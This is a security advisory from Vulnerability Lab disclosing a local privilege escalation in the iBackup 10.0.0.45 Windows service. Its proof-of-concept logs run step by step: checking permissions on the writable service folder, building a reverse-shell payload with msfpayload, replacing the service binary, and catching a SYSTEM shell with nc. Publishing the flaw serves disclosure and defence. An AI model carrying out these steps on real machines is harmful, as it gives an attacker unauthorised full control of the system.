iBackup 10.0.0.45 Privilege Escalation

`Document Title:  
===============  
iBackup v10.0.0.45 - Privilege Escalation Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1382  
  
  
Release Date:  
=============  
2014-12-18  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1382  
  
  
Common Vulnerability Scoring System:  
====================================  
6.2  
  
  
Product & Service Introduction:  
===============================  
With IBackup, you can backup/restore interactively or schedule regular online backups for Windows desktops, laptops and servers.   
It has a simple, user- friendly interface coupled with powerful scheduling and logging features. IBackup automatically selects   
critical data (Desktop, Music, Pictures, Videos, Documents, Windows Mail, Favourites) for backup. Advanced features include Open   
file Backup, System State backup, MS SQL Server, MS Exchange Server, Hyper-V, MS SharePoint Server and Oracle Server backups.  
  
(Copy of the Vendor Homepage: https://www.ibackup.com/ibwin/downloads/IBackupsetup.exe )  
  
  
Abstract Advisory Information:  
==============================  
An independent vulnerability laboratory researcher discovered a a local privilege escalation vulnerability in the official Pro Softnet Corporation iBackup v10.0.0.45 software.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2014-12-18: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Pro Softnet Corporation  
Product: iBackup - Server Software 10.0.0.45  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A local privilege escalation vulnerability has been discovered in the official iBackup v10.0.0.45 software.  
The vulnerability allows local attackers to gain higher access privileges by execution of arbitrary codes.  
  
The `ibservice` service for windows could potentially allow an authorized but non-privileged local user to   
execute arbitrary code with elevated privileges on the system. A successful attempt would require the local   
user to be able to insert their code in the system root path undetected by the OS or other security applications   
where it could potentially be executed during application startup or reboot. If successful, the local user`s code   
would execute with the elevated privileges of the application.  
  
The security risk of the privilege escalation vulnerability is estimated as high with a cvss (common vulnerability   
scoring system) count of 6.2. Exploitation of the vulnerability requires a local privileged systen user account   
without user for interaction. Successful exploitation of the arbitrary code execution vulnerability results in   
software- or system compromise.  
  
  
Proof of Concept (PoC):  
=======================  
The vulnerability can be exploited by local attackers with low privileged or restricted system user account and without user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
--- PoC Session Logs ---  
C:\Users\s-dz\Desktop>sc qc ibservice  
[SC] QueryServiceConfig réussite(s)  
  
SERVICE_NAME: ibservice  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : "C:\Program Files\IBackupWindows\ib_service.exe"  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : IBackup Service  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem*  
-  
C:\Users\s-dz\Desktop>sc qc ibservice  
[SC] QueryServiceConfig réussite(s)  
  
SERVICE_NAME: ibservice  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : "C:\Program Files\IBackupWindows\ib_service.exe"  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : IBackup Service  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
-  
C:\Users\s-dz\Desktop>accesschk.exe -dqv "C:\Program Files\IBackupWindows\"  
C:\Program Files\IBackupWindows  
Medium Mandatory Level (Default) [No-Write-Up]  
RW Tout le monde  
FILE_ADD_FILE  
FILE_ADD_SUBDIRECTORY  
FILE_LIST_DIRECTORY  
FILE_READ_ATTRIBUTES  
FILE_READ_EA  
FILE_TRAVERSE  
FILE_WRITE_ATTRIBUTES  
FILE_WRITE_EA  
DELETE  
SYNCHRONIZE  
READ_CONTROL  
RW NT SERVICE\TrustedInstaller  
FILE_ALL_ACCESS  
RW AUTORITE NT\SystÞme  
FILE_ALL_ACCESS  
RW BUILTIN\Administrateurs  
FILE_ALL_ACCESS  
R BUILTIN\Utilisateurs  
FILE_LIST_DIRECTORY  
FILE_READ_ATTRIBUTES  
FILE_READ_EA  
FILE_TRAVERSE  
SYNCHRONIZE  
READ_CONTROL  
  
############## PROOF  
C:\Users\s-dz\Desktop>net user s-dz  
Nom d'utilisateur s-dz  
Nom complet s-dz  
Commentaire  
Commentaires utilisateur  
Code du pays 000 (Valeur par défaut du système)  
Compte : actif Oui  
Le compte expire Jamais  
  
Mot de passe : dernier changmt. 18/12/2014 01:12:55  
Le mot de passe expire Jamais  
Le mot de passe modifiable 18/12/2014 01:12:55  
Mot de passe exigé Oui  
L'utilisateur peut changer de mot de passe Oui  
  
Stations autorisées Tout  
Script d'ouverture de session  
Profil d'utilisateur  
Répertoire de base  
Dernier accès 18/12/2014 06:04:49  
  
Heures d'accès autorisé Tout  
  
Appartient aux groupes locaux *Utilisateurs  
Appartient aux groupes globaux *None  
La commande s'est terminée correctement.  
  
  
C:\Users\s-dz\Desktop>  
  
root@samir:~# msfpayload windows/shell_reverse_tcp lhost='192.168.1.5' lport='4433' X > C:\Users\s-dz\Desktop\evil-ZDserv.exe  
  
  
C:\Users\s-dz\Desktop>copy evil-ZDserv.exe "C:\Program Files\IBackupWindows\ib_service.exe"  
Remplacer C:\Program Files\IBackupWindows\ib_service.exe (Oui/Non/Tous) : o  
1 fichier(s) copié(s).  
  
e will open cmd with administrator for start service ibservice  
C:\Users\s-dz\Desktop>sc start ibservice  
  
now nc ... (user)  
  
C:\Users\s-dz\Desktop>nc.exe -lvp 4433  
listening on [any] 4433 ...  
connect to [192.168.1.5] from s-dz [192.168.1.5] 16040  
Microsoft Windows [version 6.1.7600]  
Copyright (c) 2009 Microsoft Corporation. Tous droits réservés.  
  
C:\Windows\system32>whoami  
whoami  
autorite nt\système  
  
C:\Windows\system32>  
  
  
Security Risk:  
==============  
The security risk of the of the local privilege escalation software vulnerability in the root path is estimated as high. (CVSS 6.2)  
  
  
Credits & Authors:  
==================  
Hadji Samir [email protected]  
  
  
Disclaimer & Information:  
=========================  
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